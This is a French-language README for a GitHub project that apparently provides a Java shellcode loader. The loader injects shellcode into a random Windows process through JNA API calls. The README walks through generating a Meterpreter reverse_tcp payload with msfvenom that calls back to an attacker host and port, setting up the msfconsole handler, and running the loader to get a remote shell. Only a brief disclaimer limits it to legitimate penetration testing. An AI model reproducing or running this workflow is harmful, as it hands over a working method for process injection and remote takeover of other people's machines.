yzddmr6/java-shellcode-loader基于Java实现的Shellcode加载器
Chargeur de ShellCode implémenté en Java, compatible avec les plateformes 32 bits et 64 bits.
Le principe de base consiste à utiliser Jna pour appeler les API Windows et réaliser l'injection du shellcode.
Environnement d'exécution : Jre >= 1.5
Note : ce projet est déjà intégré dans le module ShellCodeLoader de yzddmr6/As-Exploits.
maven package
Par défaut, il injecte aléatoirement dans un processus 32 bits ; veuillez utiliser un shellcode 32 bits.
java -jar ShellcodeLoader.jar shellcode_hex
Injection d'un shellcode x64
java -jar ShellcodeLoader.jar --x64 shellcode_hex
Générer un ShellCode au format hex
┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.10 LPORT=4444 -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of hex file: 708 bytes
fce88f0000006089e531d2648b5....
Ensuite, démarrez l'écoute
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.88.10
set LPORT 4444
exploit -j
java -jar ShellcodeLoader.jar fce88f0000006089e531d2648b5....
Vous recevrez alors un Meterpreter en connexion inverse.
Ce projet est destiné uniquement aux tests de pénétration légitimes et à l'apprentissage des passionnés. Ne l'utilisez pas à des fins illégales ; vous en assumerez vous-même les conséquences.